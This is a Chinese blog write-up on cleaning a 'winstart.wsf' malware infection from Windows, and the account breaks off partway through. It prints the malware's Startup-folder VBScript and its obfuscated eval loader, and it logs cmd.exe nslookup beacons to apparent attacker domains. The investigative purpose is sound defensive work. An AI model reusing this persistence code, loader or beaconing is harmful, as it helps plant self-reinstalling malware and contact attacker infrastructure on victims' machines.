winstart.wsf 病毒清理大作战

0x00 背景

发现感染了winstart.wsf 病毒如何清理。

0x01 现象

遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录写入病毒文件。

C:\Users\Administrator\AppData\Local\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\userA\AppData\Local\Temp\winstart.wsf

C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\Default\AppData\Local\Temp\winstart.wsf (我将Temp完整文件夹删除后不再创建,Temp\winstart.wsf Temp\Temp.Temp)

C:\autoexec.wsf

C:\Windows\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf内容如下

<job> <objectid="w"progid="WScript.Shell"/>

<scriptlanguage="VBScript">

tempPath = w.expandenvironmentstrings("%TEMP%") & "\winstart.wsf" homeDrivePath = w.expandenvironmentstrings("%HOMEDRIVE%") & "\autoexec.wsf"

homePath = w.expandenvironmentstrings("%HOME%") & "\winstart.wsf"

w.run "wscript.exe //B " & Chr(34) & tempPath & Chr(34)

w.run "wscript.exe //B " & Chr(34) & homeDrivePath & Chr(34)

w.run "wscript.exe //B " & Chr(34) & homePath & Chr(34)

</script> </job>

%TEMP%\winstart.wsf内容如下

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

%HOMEDRIVE%\autoexec.wsf

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

%HOME%\winstart.wsf

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

以上文件删除之后重新覆盖生成。

0x02 排查

通过wmi 定位子程序和父程序:

wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline

有2个程序

commandline

ParentProcessId

ParentProcessId

"C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"

6208

5496

"C:\Windows\System32\wscript.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf"

11372

14188

6208父进程无法在任务管理器看到 (可能是启动完父进程就结束了)

用processmon 抓包 Process Name: wscript.exe Operation: Process Create

有dns出网行为

Process Name

Operation

Path

Detail

wscript.exe

Process Create

C:\Windows\System32\cmd.exe

PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp

wscript.exe

Process Create

C:\Windows\System32\cmd.exe

PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp

wscript.exe

Process Create

C:\Windows\System32\cmd.exe

PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp

Process Name: scrcons.exe Operation: Process Create

Process Name

Operation

Path

Detail

scrcons.exe

Process Create

C:\Windows\System32\wscript.exe

PID: 912, Command line: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"

进程链:

svchost.exe -> scrcons.exe -> wscript.exe

1).scrcons.exe 进程动作

(向很多目录写wsf文件,遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录):

C:\Users\Administrator\AppData\Local\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\userA\AppData\Local\Temp\winstart.wsf

C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\Default\AppData\Local\Temp\winstart.wsf (我将Temp完整文件夹删除后不再创建,Temp\winstart.wsf Temp\Temp.Temp)

C:\autoexec.wsf

C:\Windows\Temp\TMP.TMP

C:\Windows\Temp\winstart.wsf

同时写注册表:winstart

winstart.wsf 内容:

PNG<job id="oesDllY"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(oesDllYeXe)=1")</Script></job>

2).wscript.exe 进程动作:

PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp

PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp

PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp

2.1.检查开机启动项:

任务管理器-启动- 查看启动项

发现有开机启动项 wscript.exe

kill任务管理器中 wscript.exe

wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline

CommandLine ParentProcessId ProcessId

没有可用实例

删除注册表中

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart键值 失败

猜测 scrcons.exe 被注入进程,执行 WriteFile (后重启无效,方向错误)

执行的动作是遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录:

AppData\Local 和 AppData\Roaming 主要区别:

特性

AppData\Local

AppData\Roaming

数据范围

本地计算机相关

用户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73393.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

多路转接Poll

在之前我们讲过select是最古老的多路转接方案&#xff0c;古老就意味着他不是很方便使用&#xff0c;他需要用户手动保存fd_set这个位图结构&#xff0c;来表示读写事件的关注与否或者就绪性。 而且由于fd_set的大小是固定的&#xff0c;这就意味着他能管理的套接字文件描述符是…

多层感知机的简洁实现

《动手学深度学习》-4.3-笔记 import torch from torch import nn from d2l import torch as d2l 导入必要的库和模块 net nn.Sequential(nn.Flatten(),nn.Linear(784, 256),nn.ReLU(),nn.Linear(256, 10))def init_weights(m):if type(m) nn.Linear:nn.init.normal_(m.we…

【GoLang】调用llm时提示词prompt的介绍以及使用方式

介绍 提示词是一种与大模型交互的对话格式&#xff0c;它以 JSON 格式定义了一个消息列表&#xff08;messages&#xff09;&#xff0c;包含了系统消息和用户消息。 我们向AI提问时&#xff0c;其实发给AI的都是提示词&#xff0c;别看我们只是简单输入了一句话&#xff0c;…

内核编程十二:打印task_struct中的数据

在Linux内核中&#xff0c;current 是一个宏&#xff0c;用于获取当前正在执行的进程的 task_struct 结构体指针。current 宏返回一个指向当前正在运行的进程的 task_struct 结构体的指针。通过这个指针&#xff0c;内核代码可以访问和修改当前进程的各种属性和状态。 打印单个…

区间端点(java)(贪心问题————区间问题)

deepseek给了一种超级简单的做法 我是真的想不到 贪心的思路是 局部最优——>全局最优 这种我是真的没有想到&#xff0c;这样的好处就是后面便利的时候可以通过foreach循环直接便利qu的子元素也就是对应的某一个区间, 将一个二维数组变成一维数组&#xff0c;每一个一维…

Qt事件处理(处理鼠标事件、键盘事件、定时器事件、窗口移动和大小变化事件)

事件处理 事件是应用程序内部或者外部产生的事情或者动作的统称。 在 Qt 中&#xff0c;事件是用一个对象来管理一个事件的。所有的事件对象都继承自抽象类 QEvent 。事件包括鼠标事件、键盘事件等&#xff0c;发出自 Qt 或操作系统本身。 处理事件一般通过重写相关的 Event 函…

Apache Hive:基于Hadoop的分布式数据仓库

Apache Hive 是一个基于 Apache Hadoop 构建的开源分布式数据仓库系统&#xff0c;支持使用 SQL 执行 PB 级大规模数据分析与查询。 主要功能 Apache Hive 提供的主要功能如下。 HiveServer2 HiveServer2 服务用于支持接收客户端连接和查询请求。 HiveServer2 支持多客户端…

利用 @eslint/eslintrc 实现 ESLint9的适配

深度解析&#xff1a;利用 eslint/eslintrc 实现 ESLint 的高效配置管理 在前端开发领域&#xff0c;代码质量和一致性是至关重要的。ESLint 作为一款流行的代码检查工具&#xff0c;帮助开发者发现代码中的潜在问题并保持代码风格的一致性。而随着项目的复杂度增加和团队规模…

cfca 申请国密证书流程

之前给某银行开发项目&#xff0c;需要用到cfca国密双证证书&#xff0c;证书类型为企业双证的作为接口加密的密钥。 因为是第一次对接&#xff0c;其中走了不少的弯路&#xff0c;现将申请的流程发布出来做下记录 1、需要找到cfca的相关人员进行测试证书的申请 2、大概1天的…

基于Spring Boot的乡村养老服务管理系统的设计与实现(LW+源码+讲解)

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…

数字孪生技术如何为制造业开辟新天地?

1. 数字孪生在制造业的崛起背景 1.1 数字孪生的概念演进 “数字孪生”(Digital Twin)一词最早由美国密歇根大学Michael Grieves博士在2002年提出,但当时并未称之为“数字孪生”,而是以“信息镜像模型”描述数字世界与物理世界的映射关系。直到2010年前后,美军、NASA等在…

学一个前端 UI 框架,要学些什么内容?

假如你现在要自学 React/Vue 框架&#xff0c;怎么学&#xff1f; 绝大部分同学可能是这样学的&#xff1a; 直接去看官方文档&#xff0c;或者是找一些视频看一遍&#xff0c;学会这个框架的一些基础语法&#xff0c;特性功能等等参考一些例子上手编写 demo&#xff0c;简单…

asp.net core mvc模块化开发

razor类库 新建PluginController using Microsoft.AspNetCore.Mvc;namespace RazorClassLibrary1.Controllers {public class PluginController : Controller{public IActionResult Index(){return View();}} }Views下Plugin下新建Index.cshtml {ViewBag.Title "插件页…

2024年MathorCup数学建模C题物流网络分拣中心货量预测及人员排班解题全过程文档加程序

2024年第十四届MathorCup高校数学建模挑战赛 C题 物流网络分拣中心货量预测及人员排班 原题再现&#xff1a; 电商物流网络在订单履约中由多个环节组成&#xff0c;图1是一个简化的物流网络示意图。其中&#xff0c;分拣中心作为网络的中间环节&#xff0c;需要将包按照不同流…

鸿蒙Flutter开发故事:不,你不需要鸿蒙化

在华为牵头下&#xff0c;Flutter 鸿蒙化如火如荼进行&#xff0c;当第一次看到一份上百个插件的Excel 列表时&#xff0c;我也感到震惊&#xff0c;排名前 100 的插件赫然在列&#xff0c;这无疑是一次大规模的军团作战。 然后&#xff0c;参战团队鱼龙混杂&#xff0c;难免有…

Unity音频混合器如何暴露参数

音频混合器是Unity推荐管理音效混音的工具&#xff0c;那么如何使用代码对它进行管理呢&#xff1f; 首先我在AudioMixer的Master组中创建了BGM和SFX的分组&#xff0c;你也可以直接用Master没有问题。 这里我以BGM为例&#xff0c;如果要在代码中进行使用就需要将参数暴露出去…

Vue项目与云管平台Nginx部署笔记

Vue项目与云管平台Nginx部署笔记 一、项目架构说明 footAdmin云管前端 Vue2 Webpack 构建&#xff0c;部署路径&#xff1a;/usr/share/nginx/html/footAdmin 使用npm run build生成/dist目录&#xff0c;然后将dist目录下面的所有文件&#xff0c;上传到虚拟机/usr/share/n…

java常用数据转换

1. List与数组互转 ArrayList<String> list new ArrayList<>(); String[] array list.stream().toArray(String[]::new); String[] array1 {"apple", "banana", "orange"}; List<String> list1 Arrays.stre…

JAVA学习--java数组--打印稀疏数组和稀疏数组的还原

1.题目描述 2.代码实现 打印二维数组 public class test04 {public static void main(String args[]){//1.创建一个二维数组11*11&#xff0c;0代表没有棋子&#xff0c;1代表黑&#xff0c;2代表白棋int[][] array1new int[11][11];array1[1][2]1;array1[2][3]2;//输出原…

Java 标准注解(内置注解+元注解)的详细说明及使用场景

以下是 Java 标准注解&#xff08;内置注解&#xff09;的详细说明及使用场景&#xff1a; 1. 核心标准注解 (1) Override 用途&#xff1a;标记一个方法覆盖父类的方法或实现接口的抽象方法。约束&#xff1a; 若方法未正确覆盖/实现&#xff0c;编译器会报错。不能用于字段…